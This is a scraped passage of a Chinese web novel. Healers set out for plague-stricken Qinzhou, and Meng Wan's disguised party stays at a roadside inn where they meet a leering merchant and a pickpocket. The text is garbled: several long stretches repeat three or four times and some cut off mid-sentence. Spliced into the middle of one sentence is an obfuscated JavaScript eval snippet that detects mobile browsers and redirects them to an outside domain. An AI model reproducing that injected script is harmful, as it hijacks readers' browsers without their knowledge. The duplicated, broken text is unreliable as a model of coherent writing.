青杏不是傻子,徐文君几乎将暧昧的态度拿到明面上来了。她抽回自己的手,呐呐道:“但是我也是要去的,徐公子放心,黄水疮我们之前在茂林镇是治愈过的。只要小心一些,不要接触病人创口,是不会染上的。便是染上……”青杏的话在徐文君直直的注视下逐渐微弱,“便是染上,也能医治。” 青杏平时脾气很好,几乎万事都应,徐文君头次见到她这么固执的一面。 他当然知道青杏一家都医术高强,但比起疫病,他更担心的是人心。大灾当年,亲子可食,何况是青杏这样柔弱心善的姑娘,哪里掉块木头都能蹭破她一块皮来。 “你真的非去不可?”徐文君脸色铁青,他真的快被这样的青杏给气疯了。 “徐公子。”青杏把手中的药箱放到马车上,背对着徐文君道:“有许多人等着我帮助,我身为医者,怎能置之不理?” “难道我不是你的病人吗?”徐文君反问她。 青杏毫不犹豫,“徐公子的病并无大碍,可钦州的百姓正濒临死亡。” 徐文君差点维持不住表情,被青杏如此鄙弃,他终于忍不下去拂袖离开苗家。 小蓟带着弟妹们拿着包好药包出来,“大姐,徐公子怎么走了?我们走前要去找他道别吗?” 青杏沉默着收拾药材,她也知道自己刚才的话太伤人,好一会儿才低声说道:“不用,徐公子可其他的事要忙,我们不要打扰人家了。” 苗家三姐弟将家里收拾妥当,锁上大门,青杏轻车熟路的驾马,小蓟腿脚不好,后续忍冬可以和青杏交换。 “大姐,好像是徐公子。”马车快要行驶的城门口的时候,小蓟突然出声道。 小蓟没有看到徐文君,而是看到了他的仆人在赶车,想来也是要远行,后面跟着长长的一排车队。 青杏勒停马车,哪怕知道徐文君在马车里看不到他,也微微侧头有意避让,“他可能要返乡了,我们等徐家的车队走了再出城吧。” 钦州要走城南的城门,徐文君回徽州府要走城北的城门,正好一南一北两个方向,青杏想等面前长长的车队走过街道再出城,没想到最后面的马车就停在她身边。 车帘被人从里面掀开,徐文君往日温煦的神色如今却冷若冰霜,但他说出的话却叫青杏十分意外。 “若是我要向你提亲,叫你和我去徽州府,你肯是不肯?” 青杏怔楞在马车上,眼中情绪复杂,她没有回答徐文君的问题,反而低下头开始复述,“我第一次治好的一个人是个乞丐,当时不知道有多高兴,说不清是因为自己的医术而欢喜还是因为挽救了一条无辜的生命。但后来……那个乞丐还是**,不是病死,而是饿死的。” 那时候的青杏还小,她在街边看到乞丐佝偻的身躯时,仿佛触碰到了这个世界的某些真相,明白了什么道理。 苗老爷子对青杏说,这是每个医者都必须经历的过程。 医者是病人心中的一道光,他们在黑暗中行走了许久,磨破了脚跟,损伤了心脏,直到看到这点点的希望。 病人视医者作救世主,但医者也是人,肉眼凡胎,背负的太多了,自己也会深陷某种自我怀疑当中,不能自拔。 若是一般人经历了太多的绝望,可能会故意让自己内心变得冰冷,这样起码下次不会再因为一条生命在自己眼前逝世而伤心欲绝。 这不见得是件坏事,徐文君冷酷的想。 “我回家确实伤心了很久,但被我捡回家的小狗拖着奄奄一息的后腿过来舔我的手心,它那时候明明连吃食的力气都没有了。”青杏头还是低着的,她声音沉闷,像是哭了。 “我虽然没有帮到那个乞丐什么,可我救活了那只小狗,哪怕它只在苗家活了三年……” “但只要我活着,还能为人看病,就不会无视任何一个自己能救的人,因为我是一名郎中——女郎中。” 人活一世,多是为了护住自己周全,免受风霜侵害。 唯有如青杏、严昶笙这样的少数人,才是逆流而上的意外。 徐文君闭目养神,不去看苗家马车毫无留恋的越走越远。 “公子,那你不跟上去再问问青杏姑娘的决定吗?”小厮试探着问。 自从徐文君借着珍罐坊的罐头打了个漂亮的翻身仗,徐家已经不敢在轻视他了,甚至连家主对徐文君也颇为欣赏。 徐文君自嘲一笑,“人家姑娘心怀四海,我还凑上去干什么?难道本公子看上去很贱?” 小厮不敢再问,扬鞭挥动拉车的马匹,马蹄声在平整的水泥路上“嗒嗒”作响,掩盖住了一声微不可闻的叹息。 —— 苗家的马车行到城门口,青杏她们才发现那里已经**了许多车马。 “黄管事?王郎中?你们这是?”青杏意外见到了熟人,脸上满是惊讶,黄管事是城里的药材商,王郎中是城中的郎中。 而且除了他们二人之外,还有许多大大小小的药材商和郎中。 黄管事对青杏拱拱手,“石见驿站传消息过来,孟夫郎叫我们去钦州帮忙,咱们诚惠孟夫郎照应,这点小忙怎能不帮?” 再说孟晚买药材可是花钱的,运输药材的费用还是石见驿站自行承担,药材商这里只要出个管事交接即可。 郎中们就比商人实在许多,王郎中道:“家中内子的娘家就在钦州,她放心不下岳丈岳母和妻弟一家,我定要跑这一趟的。” 钦州**众多,他们得了孟晚的嘱托,刻意在这等着青杏一同前往。 驿站的人在前面开路,一路走走停停,越来越多的郎中和药材商加入。 “青杏姑娘,你们也在啊。”有人加入车队后还认识青杏。 青杏和小蓟等人见到来人也很惊喜,“金哥儿,你也来了!”来者是赫山县的郎中,同是哥儿,小蓟他们许久没见他倍感亲切。 “我爹他们收到孟夫郎的信了,说是钦州缺郎中,大家就都来了,他本来还不想带我,我死磨硬泡非要跟来的。” 金哥儿家里祖祖代代都是赤脚郎中,之前赫山县贫困,他家比普通农户也没好上多少。孟晚大力发展甘蔗的时候,他家还跑去种甘蔗来着。 后来舍得花钱治病的人越来越多,大家再也不是生了病就在家等死,他家才又在县城里重新治病。苗家人还帮了他们许多,金哥儿后来出去治病救人,便是受了青杏他们的影响。 “小蓟他们在马车里,你要不要上来和他们说话?”青杏笑道。 金哥儿满口答应下来,“好啊!你也别坐外面赶车了,让我二哥帮你赶车,反正他也没别的事干。” 金哥儿的二哥当年还向青杏提过亲,让他赶车怪别扭的,被青杏婉拒了。 这群心怀善念的医者汇聚的越来越多,共同奔赴钦州大地。 而靠着自己影响力叫来这么多医者的孟晚,此刻已经踏上了异国他乡的旅程。 “夫郎,咱们为什么不直接从钦州南部入境,还要绕上一圈啊?”蚩羽骑着马不 解的问。 孟晚捧着本外籍语言书,学的昏头涨脑,闻言把书往车厢里一甩,仰倒在车厢里,“从军营入安南更近,划个小船就过去了,安南的守卫能让咱们进去吗?啊?” 楚辞把书捡起来自己拿着看。 蚩羽挠了挠头,听明白了是听明白了,但总感觉夫郎的脾气越来越暴躁了。 前面夏垣的人过来汇报,“孟夫郎,天色越来越深沉,一会儿恐要下雨,前方有座小镇,大人说今晚在镇子里休息一晚,明日清晨在早些出发。” “都听夏大人的。”孟晚想摆烂。 秦啸云再三恳求,太子的事暂时还不能上报朝廷,若是之后有什么纰漏,秦家会一力承担,只希望这次夏垣能带孟晚探查到太子的踪迹来。 他们为此行策划了不少后手,堪称紧密。 首先就是路程,不能从钦州直入安南,毕竟两国现在关系紧张。 他们决定在北海坐船绕到安南的太平城,太平城既靠近安南国都,距离边境线又不是太远,是个很好的着陆点。 孟晚一行人一路昼夜不停的赶路,终于走到了钦州和北海的交界处。 在路上风餐露宿许久,终于不用在从马车上睡觉了,孟晚和楚辞下了车,蚩羽护在两人身边。 夏垣只带了个小厮和那个报信回来的瘦子,蚩羽偷偷和孟晚说,那个小厮也是有功夫在身的。 很好,两边都有高手在,出了事各管各的主子。 夏垣和孟晚所乘的两辆马车,伴着滚滚的闷雷声进了这座“小镇”。 进来后才发现,这根本不算是什么镇子,顶多是个挨着道路的村庄,只有路边上盖了座两层的木楼,上挂着客栈的招旗。 旗倒是别致,下面还坠着条金色的大鱼,不过工艺有限,金鱼过于抽象。 孟晚做为项芸的徒弟,与画之一道到底是有些造诣在身的,看的不免嘴角抽搐。 “祖父,您慢点。”他视线从招旗上挪开,下车后拐了个弯去扶夏垣,将无血缘亲孙子饰演的惟妙惟肖。 夏垣拍拍孟晚胳膊上的布料,笑的一脸慈祥,“好,好。” 其余人:“……” “小羽,你去叫门。”孟晚指使蚩羽。 “欸,小的这就去。” 蚩羽屁颠屁颠的上前叫门,“店家?我们要住店!” 过了会儿,房门打开,出来一个披着棉衣的中年男人,他像是刚睡下,见到蚩羽后不耐烦的说了句,“打烊了,不接客。” 解的问。 孟晚捧着本外籍语言书,学的昏头涨脑,闻言把书往车厢里一甩,仰倒在车厢里,“从军营入安南更近,划个小船就过去了,安南的守卫能让咱们进去吗?啊?” 楚辞把书捡起来自己拿着看。 蚩羽挠了挠头,听明白了是听明白了,但总感觉夫郎的脾气越来越暴躁了。 前面夏垣的人过来汇报,“孟夫郎,天色越来越深沉,一会儿恐要下雨,前方有座小镇,大人说今晚在镇子里休息一晚,明日清晨在早些出发。” “都听夏大人的。”孟晚想摆烂。 秦啸云再三恳求,太子的事暂时还不能上报朝廷,若是之后有什么纰漏,秦家会一力承担,只希望这次夏垣能带孟晚探查到太子的踪迹来。 他们为此行策划了不少后手,堪称紧密。 首先就是路程,不能从钦州直入安南,毕竟两国现在关系紧张。 他们决定在北海坐船绕到安南的太平城,太平城既靠近安南国都,距离边境线又不是太远,是个很好的着陆点。 孟晚一行人一路昼夜不停的赶路,终于走到了钦州和北海的交界处。 在路上风餐露宿许久,终于不用在从马车上睡觉了,孟晚和楚辞下了车,蚩羽护在两人身边。 夏垣只带了个小厮和那个报信回来的瘦子,蚩羽偷偷和孟晚说,那个小厮也是有功夫在身的。 很好,两边都有高手在,出了事各管各的主子。 夏垣和孟晚所乘的两辆马车,伴着滚滚的闷雷声进了这座“小镇”。 进来后才发现,这根本不算是什么镇子,顶多是个挨着道路的村庄,只有路边上盖了座两层的木楼,上挂着客栈的招旗。 旗倒是别致,下面还坠着条金色的大鱼,不过工艺有限,金鱼过于抽象。 孟晚做为项芸的徒弟,与画之一道到底是有些造诣在身的,看的不免嘴角抽搐。 “祖父,您慢点。”他视线从招旗上挪开,下车后拐了个弯去扶夏垣,将无血缘亲孙子饰演的惟妙惟肖。 夏垣拍拍孟晚胳膊上的布料,笑的一脸慈祥,“好,好。” 其余人:“……” “小羽,你去叫门。”孟晚指使蚩羽。 “欸,小的这就去。” 蚩羽屁颠屁颠的上前叫门,“店家?我们要住店!” 过了会儿,房门打开,出来一个披着棉衣的中年男人,他像是刚睡下,见到蚩羽后不耐烦的说了句,“打烊了,不接客。” 解的问。 孟晚捧着本外籍语言书,学的昏头涨脑,闻言把书往车厢里一甩,仰倒在车厢里,“从军营入安南更近,划个小船就过去了,安南的守卫能让咱们进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162799|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去吗?啊?” 楚辞把书捡起来自己拿着看。 蚩羽挠了挠头,听明白了是听明白了,但总感觉夫郎的脾气越来越暴躁了。 前面夏垣的人过来汇报,“孟夫郎,天色越来越深沉,一会儿恐要下雨,前方有座小镇,大人说今晚在镇子里休息一晚,明日清晨在早些出发。” “都听夏大人的。”孟晚想摆烂。 秦啸云再三恳求,太子的事暂时还不能上报朝廷,若是之后有什么纰漏,秦家会一力承担,只希望这次夏垣能带孟晚探查到太子的踪迹来。 他们为此行策划了不少后手,堪称紧密。 首先就是路程,不能从钦州直入安南,毕竟两国现在关系紧张。 他们决定在北海坐船绕到安南的太平城,太平城既靠近安南国都,距离边境线又不是太远,是个很好的着陆点。 孟晚一行人一路昼夜不停的赶路,终于走到了钦州和北海的交界处。 在路上风餐露宿许久,终于不用在从马车上睡觉了,孟晚和楚辞下了车,蚩羽护在两人身边。 夏垣只带了个小厮和那个报信回来的瘦子,蚩羽偷偷和孟晚说,那个小厮也是有功夫在身的。 很好,两边都有高手在,出了事各管各的主子。 夏垣和孟晚所乘的两辆马车,伴着滚滚的闷雷声进了这座“小镇”。 进来后才发现,这根本不算是什么镇子,顶多是个挨着道路的村庄,只有路边上盖了座两层的木楼,上挂着客栈的招旗。 旗倒是别致,下面还坠着条金色的大鱼,不过工艺有限,金鱼过于抽象。 孟晚做为项芸的徒弟,与画之一道到底是有些造诣在身的,看的不免嘴角抽搐。 “祖父,您慢点。”他视线从招旗上挪开,下车后拐了个弯去扶夏垣,将无血缘亲孙子饰演的惟妙惟肖。 夏垣拍拍孟晚胳膊上的布料,笑的一脸慈祥,“好,好。” 其余人:“……” “小羽,你去叫门。”孟晚指使蚩羽。 “欸,小的这就去。” 蚩羽屁颠屁颠的上前叫门,“店家?我们要住店!” 过了会儿,房门打开,出来一个披着棉衣的中年男人,他像是刚睡下,见到蚩羽后不耐烦的说了句,“打烊了,不接客。” 解的问。 孟晚捧着本外籍语言书,学的昏头涨脑,闻言把书往车厢里一甩,仰倒在车厢里,“从军营入安南更近,划个小船就过去了,安南的守卫能让咱们进去吗?啊?” 楚辞把书捡起来自己拿着看。 蚩羽挠了挠头,听明白了是听明白了,但总感觉夫郎的脾气越来越暴躁了。 前面夏垣的人过来汇报,“孟夫郎,天色越来越深沉,一会儿恐要下雨,前方有座小镇,大人说今晚在镇子里休息一晚,明日清晨在早些出发。” “都听夏大人的。”孟晚想摆烂。 秦啸云再三恳求,太子的事暂时还不能上报朝廷,若是之后有什么纰漏,秦家会一力承担,只希望这次夏垣能带孟晚探查到太子的踪迹来。 他们为此行策划了不少后手,堪称紧密。 首先就是路程,不能从钦州直入安南,毕竟两国现在关系紧张。 他们决定在北海坐船绕到安南的太平城,太平城既靠近安南国都,距离边境线又不是太远,是个很好的着陆点。 孟晚一行人一路昼夜不停的赶路,终于走到了钦州和北海的交界处。 在路上风餐露宿许久,终于不用在从马车上睡觉了,孟晚和楚辞下了车,蚩羽护在两人身边。 夏垣只带了个小厮和那个报信回来的瘦子,蚩羽偷偷和孟晚说,那个小厮也是有功夫在身的。 很好,两边都有高手在,出了事各管各的主子。 夏垣和孟晚所乘的两辆马车,伴着滚滚的闷雷声进了这座“小镇”。 进来后才发现,这根本不算是什么镇子,顶多是个挨着道路的村庄,只有路边上盖了座两层的木楼,上挂着客栈的招旗。 旗倒是别致,下面还坠着条金色的大鱼,不过工艺有限,金鱼过于抽象。 孟晚做为项芸的徒弟,与画之一道到底是有些造诣在身的,看的不免嘴角抽搐。 “祖父,您慢点。”他视线从招旗上挪开,下车后拐了个弯去扶夏垣,将无血缘亲孙子饰演的惟妙惟肖。 夏垣拍拍孟晚胳膊上的布料,笑的一脸慈祥,“好,好。” 其余人:“……” “小羽,你去叫门。”孟晚指使蚩羽。 “欸,小的这就去。” 蚩羽屁颠屁颠的上前叫门,“店家?我们要住店!” 过了会儿,房门打开,出来一个披着棉衣的中年男人,他像是刚睡下,见到蚩羽后不耐烦的说了句,“打烊了,不接客。” 解的问。 孟晚捧着本外籍语言书,学的昏头涨脑,闻言把书往车厢里一甩,仰倒在车厢里,“从军营入安南更近,划个小船就过去了,安南的守卫能让咱们进去吗?啊?” 楚辞把书捡起来自己拿着看。 蚩羽挠了挠头,听明白了是听明白了,但总感觉夫郎的脾气越来越暴躁了。 前面夏垣的人过来汇报,“孟夫郎,天色越来越深沉,一会儿恐要下雨,前方有座小镇,大人说今晚在镇子里休息一晚,明日清晨在早些出发。” “都听夏大人的。”孟晚想摆烂。 秦啸云再三恳求,太子的事暂时还不能上报朝廷,若是之后有什么纰漏,秦家会一力承担,只希望这次夏垣能带孟晚探查到太子的踪迹来。 他们为此行策划了不少后手,堪称紧密。 首先就是路程,不能从钦州直入安南,毕竟两国现在关系紧张。 他们决定在北海坐船绕到安南的太平城,太平城既靠近安南国都,距离边境线又不是太远,是个很好的着陆点。 孟晚一行人一路昼夜不停的赶路,终于走到了钦州和北海的交界处。 在路上风餐露宿许久,终于不用在从马车上睡觉了,孟晚和楚辞下了车,蚩羽护在两人身边。 夏垣只带了个小厮和那个报信回来的瘦子,蚩羽偷偷和孟晚说,那个小厮也是有功夫在身的。 很好,两边都有高手在,出了事各管各的主子。 夏垣和孟晚所乘的两辆马车,伴着滚滚的闷雷声进了这座“小镇”。 进来后才发现,这根本不算是什么镇子,顶多是个挨着道路的村庄,只有路边上盖了座两层的木楼,上挂着客栈的招旗。 旗倒是别致,下面还坠着条金色的大鱼,不过工艺有限,金鱼过于抽象。 孟晚做为项芸的徒弟,与画之一道到底是有些造诣在身的,看的不免嘴角抽搐。 “祖父,您慢点。”他视线从招旗上挪开,下车后拐了个弯去扶夏垣,将无血缘亲孙子饰演的惟妙惟肖。 夏垣拍拍孟晚胳膊上的布料,笑的一脸慈祥,“好,好。” 其余人:“……” “小羽,你去叫门。”孟晚指使蚩羽。 “欸,小的这就去。” 蚩羽屁颠屁颠的上前叫门,“店家?我们要住店!” 过了会儿,房门打开,出来一个披着棉衣的中年男人,他像是刚睡下,见到蚩羽后不耐烦的说了句,“打烊了,不接客。” 第5章 纠缠 “打烊?”蚩羽高大的身影充满迷茫。 “打烊?” 孟晚他们的马车旁又赶来一队车马,领头的车厢里下来个矮胖的中年男人,他摆着手走到近前,语气不善的问:“头回听说客栈还打烊,眼见着就下大雨了,打什么烊打烊,你给我起开!” 矮胖男人一脸嚣张,抬起他的小短腿就往门板上踹。 “你!”客栈掌柜显然也不是个好脾气的,青筋横跳抬手就要伤人。 “做什么!”矮胖男人眼见是个欺软怕硬的主,见客栈掌柜不好惹忙退到自家小厮身后叫嚷。 他带的人都气势不善的涌到门口,不管质量如何,起码人数占了优势。 “你们想进就进来吧。”客栈掌柜脸色变了又变,最终还是冷笑着打开了房门。 看他似乎服了软,矮胖男人从小厮身后出来,大摇大摆的进了客栈的门,嘴里的大放厥词的说:“这就对了,放着钱不挣,那不是傻子吗?” 矮胖男人似乎是个富商,身边跟着十来名打手,拉着六车的货物,最后下车的竟然是个容貌娇娆的小妾。 他们一行人浩浩荡荡的东西又多又张扬,在这种三不管的地界仿佛在告诉所有**他们就是肥羊。 孟晚他们随着矮胖男人低调的进去,就听客栈掌柜打了个哈欠说:“我们后边的院小,放不下你们的马车和货,房间就剩六个空房间了,也住不下你们这么多的人。” 矮胖男人二话没说从怀里摸出个钱袋子,打开来掏出一锭十两的银子来扔到客栈掌柜的怀里,“货就放门口我们自己的人守着,六个房间我们都包了,唐爷我不差钱!” 这位唐爷的小妾差点被他阔绰的出手给迷死,半抱着他胳膊撒娇。 客栈老板还没来得及把银子收起来,孟晚便突然插了一句,“掌柜的,凡事该讲究个先来后到吧,我们也不贪,六间房我们三间。” 孟晚掏出三锭碎银,加一起也有十两,正好和姓唐的富商一样多,并且还客客气气的放到了一旁的桌子上。 刚才夏垣和孟晚等人挤在人堆里,穿着打扮低调,身边随从也就两三个,看着就不像太过富裕的人家,远没有唐姓富商一行人显眼。 但孟晚这么一露脸,突然便衬得他身上穿的棕褐色薄棉袄上了几个档次,连半新不旧的木楼都被映得古朴又有韵味 。 “咕隆”一连串咽口水的声音在厅堂中响起,唐姓富商色鬼一个,见到孟晚的容貌眼睛都看直了。 “让,我们让,三间房是吧?这位夫郎的房钱我出了。”唐姓富商眼珠子都快钉在孟晚身上了,手直往钱袋子里塞。 孟晚温声道:“就不劳这位大哥破费了,一路劳累,我要先带着祖父上去休息。” “啊!对对对!夫郎先休息,有什么能帮忙的只管去我房间。” 他这话说的可谓轻浮,孟晚看他那副衰样就倒胃口,吩咐蚩羽去将他们的马车牵进后院柴房旁拴好,和楚辞各拎了些行李便上了楼。 楼上的房间不大,也就只能挤下两个人,楚辞和夏垣的小厮一个房间,剩下两个惜命的主子各带着一个高手住。 孟晚自从进了房间后全程没有出屋,他的好大儿楚辞帮他打水洗漱,然后蚩羽再出去倒水。 “那个色鬼真是病的不轻,我每次开门他都出来看看。”蚩羽进来后撸起袖子,要不是孟晚对他们说要低调行事,他恨不得现在就去捶那个唐姓商人几拳。 孟晚已经换好了亵衣亵裤,正在把自己刚洗的衣服挂到木架子上晾,“不用管他,听口音应该不是钦州的商户。这么张扬,能活过十天我算他厉害。” 一回身蚩羽正在脱衣裳,上半身已经裸了,蜜色的肌肉纹理既不夸张,又线条无比流畅。 孟晚看了一眼,然后又看了一眼。 确定了,确实比宋亭舟的好看。 “你怎么不洗澡!”见他穿着裤子就要睡,孟晚忍不住问道。 蚩羽眨了眨眼睛,“反正就住一晚,洗不洗也没差,我们在路上不是也没洗吗?” 孟晚忍无可忍,“路上是路上,现在有水干嘛不洗?”他们给的银钱多,客栈掌柜觉也不睡了,一锅接一锅的烧水,现在客栈后面的厨房还在冒烟。 被孟晚嫌弃后,蚩羽不甘不愿的套上衣服下楼,夫郎还要他洗完澡再把自己衣裳洗了,明明没怎么流汗,大冬天的那么勤快干嘛? 蚩羽不理解,但必须要照做,因为夫郎看他的眼神很恐怖,好像他脸上开了花。 客栈掌柜还蹲在灶台下烧水,唐姓富商手下的人夜里轮流执勤看货,几个人挤在两个房间里洗热水澡,水也不是少数。 院里有井,蚩羽要了一桶热 水后,又自己打了一桶冷水,打算拎上楼兑着用。 “呦,这位小兄弟好大的力气啊?”一道甜腻的女声从客栈里传来。 蚩羽扭头望去,身后正站着一位二三十岁的少妇,身穿红色袄裙,外罩一件白色皮**的比甲,细眉上挑,唇色泛白。 她眼睛挑逗性的上下打量蚩羽,从他略带青涩的俊脸到有力的臂膀,再到下三路,恨不得用眼神把他从上到下舔舐一遍。 蚩羽起了一身鸡皮疙瘩,尴尬的笑了笑就拎着水上了楼,经过少妇的时候恨不得贴着墙边进屋。 少妇应该是掌柜娘子,后面还能听到夫妻俩争吵的声音,蚩羽再傻也知道是因为他。 他把额头上遮着孕痣的布条往下拉了拉。没办法,这两年他吃得好,个子也是越长越高,已经可以比肩宋亭舟了。不看比男子稍小的喉结,遮住额头上的孕痣,他要多男人有多男人。 被人调戏让蚩羽慌了一瞬,他提着两大桶水健步如飞的想上楼,差点没有撞到住在楼下的客人。 “对不住,你没事吧?”蚩羽放下水桶去扶人。 那人长得干瘦干瘦,个子又矮,蚩羽这么一撞把人撞退了好几步。 “你瞎……下……下次小心点。”干瘦男人看到蚩羽那么个大块头,又见疑似他同伙的男人从楼上下来,当即改了口。 “怎么了小羽。”夏垣身边的高手正巧也下楼倒水。 蚩羽见干瘦男人没什么事,重新拎起水桶,“没事褚哥,不小心撞了人。” 褚哥目光扫向转身欲走的干瘦男人,他在没跟夏垣之前是混江湖的,一眼就看出干瘦男人的状态不对。 手里的桶准确无误的砸了下去,将干瘦男人砸了个趔,下一秒褚哥便从楼梯上直接飞身跳下去按住干瘦男人,厉喝道:“掏出来。” 干瘦男人胳膊差点被他拗断,连声痛呼,“大侠饶命,小的不知道您在说什么。” 蚩羽回过神来,一摸自己的腰侧,上面挂着的荷包果然不知所踪。 好家伙,那干瘦男人竟然还是个小贼! “怎么去了这么久?”孟晚一路劳累,都快睡着了。 蚩羽将楼下遇贼的事和孟晚说了,孟晚半坐在床榻上揉了揉眼睛,“出门在外难免的,哪怕是咱们西梧府,小偷小摸也是有的,更别提钦州、北海一带治理 不严,绝对只多不少。” 蚩羽要脱衣服洗澡,孟晚把头转过去非礼勿视,“平时跟着冯褚多学学,遇到略显古怪的事就回来和我说。” 泡在浴桶里的蚩羽想到刚才,被疑似掌柜娘子调戏的事,害羞了半天,泡完澡才终于决定说与孟晚听,可孟晚早已经睡着了。 今夜睡了个还算安稳的好觉,早上蚩羽提着行李随孟晚下楼吃饭。 夏垣等人已经在楼下等着了,昨天他们遇到的富商并不在,应该是还没起来。除此之外还有个陌生的旅客坐在客栈大厅,不知道是在他们之前住进来的,还是今早新到的。 掌柜娘子正在向所有旅客,推荐他们夫妻俩一早蒸的肉包子。 孟晚坐下后一直有意无意的看那个陌生人,像是对他很感兴趣的样子。 “夫郎瞧他长得稀奇吧?那不是咱们禹国的人,等你们进了北海地界,还能看到其他异国人。”掌柜娘子笑吟吟地对孟晚说道。 她今天上了妆,唇色艳红,一边说话一边还对蚩羽抛媚眼。 孟晚和夏垣对视一眼,从钱袋子里摸出半两碎银放到掌柜娘子手上,“姐姐,不是说北海这边因为挨着安南,是禁止出海的吗?” 他们敢去是因为夏垣御史的身份,和皇帝给他的特权,怎么如今听上去,北海码头可以随意往来呢? 掌柜娘子收下银子,却还是不动声色的盯着孟晚钱袋,见里头不是铜板就是碎银,鼓起的幅度不大,脸上的热情稍微冷却了一点,看在半两银子的份上才提点了一句,“有钱能使鬼推磨,总有人有法子出海的。” “什么出海?夫郎也想出海去?”唐姓富商搂着小妾下楼来。 大家也都看出来了,便是妾室也是在官府过了文书的,唐姓富商带的这个怕不是什么正经来路。果不其然,她见唐姓富商主动对孟晚搭讪,脸色瞬间变得奇差。 唐姓富商的意思是他此行前往的目的也是北海渡口? 孟晚心思转了转,突然对着唐姓富商笑了笑,没回答他的问题,而是反问道:“不知唐大哥是去北海渡口做什么?可是找好了船只?” 小妾眼见着唐姓富商被孟晚一个笑就迷得神魂颠倒,抢在他前头回道:“唐哥是去谈生意的,你个嫁了人的哥儿在外头乱跑就算了,还随意对外男搭话,要不要脸了!” 她此言一出,楚辞和 蚩羽“腾”地从凳子上站了起来,面色不善的盯着她。 小妾眼神中涌现一丝慌乱,“你们要干什么?唐哥……啊!” 唐姓富商见她言辞得罪了孟晚,自己动手甩了她一巴掌,还恬不知耻地孟晚解释:“夫郎莫怪,上不了台面的东西,我这就将她赶走为夫郎出气。” 小妾不顾脸上的巴掌印抱着唐姓富商的胳膊哭求,“唐哥,别赶我走,我再也不敢乱说话了,您别赶我走啊……呜呜……” 孟晚见从他们纠纠缠缠说不到正事上,心烦意乱,干脆起身准备去做饭。 唐姓富商见孟晚欲要离开,收起缠在他身上的眼神,对一直看热闹的掌柜娘子说:“咳,包子给我手下的伙计们来五屉,我们这桌也要一屉肉包子两碗精米粥。” “贵客稍等,我现在就叫我家男人去煮粥。”客栈掌柜的娘子大喜,她推销半天只在异国人那里卖出去了一屉包子,还是唐姓富商大方,一下子就将厨房里的包子全解决了。 孟晚在外面一向谨慎,这个小店前不着村后不着店,他是心有疑虑的,便叫上夏垣的小厮和蚩羽,三人带上他们自己的米面进了厨房。 好歹刚才收了孟晚的半两银子,客栈掌柜娘子便分给他们一口锅,柴火可以随便用。 蚩羽现打的井水,孟晚淘好米后先煮了一锅精米粥,后又和面贴了不少饼子。虽然他们带了罐头和藕粉,但吃那些东西也会吃腻,还是馒头饼子之类的混在一起吃顶饿。 孟晚舍得放油,饼子烙的又香又脆,他们人多,便整整烙了两筐。 一大半都收进布口袋里,余下两盘由小厮端着上桌。 孟晚拿着碗筷上来,发现客栈里还是这些人,昨晚蚩羽说过的小偷并不在场。 他琢磨了一下,当作不知,稳坐在椅子上吃饭。 天公作美,他们吃饭的时候外面的雨还在下,等吃完了饭雨也停了。 “祖父,我们这便上路吧。”孟晚叫上吃饭吃到白胡子有些歪的夏垣,不动声色的帮他往上挪挪。 夏垣趁着低头咳嗽的时候自己又正了正,“咳,那就走吧。” 顺利的出了客栈,后面唐姓富商却还紧追不舍,“夫郎,夫郎是要带着家中祖父去往何地啊?不如在下送你们一程?” 孟晚出了门就变了一副脸色,他冷哼一声,“想死你就跟上来试试。” 冯褚适时抽刀出列,一脸不善的盯着唐姓富商。他目光冷得像是掺了冰碴,一身煞气像是真的见过血。 唐姓富商脚步顿住,后脊被看的发凉,强装镇定的暗骂两句脏话,悻悻的上了自家马车。 在客栈里被他打了一巴掌的小妾也并没有像他说的那样被赶走,反而低眉顺眼地又跟了上去。 蚩羽“腾”地从凳子上站了起来,面色不善的盯着她。 小妾眼神中涌现一丝慌乱,“你们要干什么?唐哥……啊!” 唐姓富商见她言辞得罪了孟晚,自己动手甩了她一巴掌,还恬不知耻地孟晚解释:“夫郎莫怪,上不了台面的东西,我这就将她赶走为夫郎出气。” 小妾不顾脸上的巴掌印抱着唐姓富商的胳膊哭求,“唐哥,别赶我走,我再也不敢乱说话了,您别赶我走啊……呜呜……” 孟晚见从他们纠纠缠缠说不到正事上,心烦意乱,干脆起身准备去做饭。 唐姓富商见孟晚欲要离开,收起缠在他身上的眼神,对一直看热闹的掌柜娘子说:“咳,包子给我手下的伙计们来五屉,我们这桌也要一屉肉包子两碗精米粥。” “贵客稍等,我现在就叫我家男人去煮粥。”客栈掌柜的娘子大喜,她推销半天只在异国人那里卖出去了一屉包子,还是唐姓富商大方,一下子就将厨房里的包子全解决了。 孟晚在外面一向谨慎,这个小店前不着村后不着店,他是心有疑虑的,便叫上夏垣的小厮和蚩羽,三人带上他们自己的米面进了厨房。 好歹刚才收了孟晚的半两银子,客栈掌柜娘子便分给他们一口锅,柴火可以随便用。 蚩羽现打的井水,孟晚淘好米后先煮了一锅精米粥,后又和面贴了不少饼子。虽然他们带了罐头和藕粉,但吃那些东西也会吃腻,还是馒头饼子之类的混在一起吃顶饿。 孟晚舍得放油,饼子烙的又香又脆,他们人多,便整整烙了两筐。 一大半都收进布口袋里,余下两盘由小厮端着上桌。 孟晚拿着碗筷上来,发现客栈里还是这些人,昨晚蚩羽说过的小偷并不在场。 他琢磨了一下,当作不知,稳坐在椅子上吃饭。 天公作美,他们吃饭的时候外面的雨还在下,等吃完了饭雨也停了。 “祖父,我们这便上路吧。”孟晚叫上吃饭吃到白胡子有些歪的夏垣,不动声色的帮他往上挪挪。 夏垣趁着低头咳嗽的时候自己又正了正,“咳,那就走吧。” 顺利的出了客栈,后面唐姓富商却还紧追不舍,“夫郎,夫郎是要带着家中祖父去往何地啊?不如在下送你们一程?” 孟晚出了门就变了一副脸色,他冷哼一声,“想死你就跟上来试试。” 冯褚适时抽刀出列,一脸不善的盯着唐姓富商。他目光冷得像是掺了冰碴,一身煞气像是真的见过血。 唐姓富商脚步顿住,后脊被看的发凉,强装镇定的暗骂两句脏话,悻悻的上了自家马车。 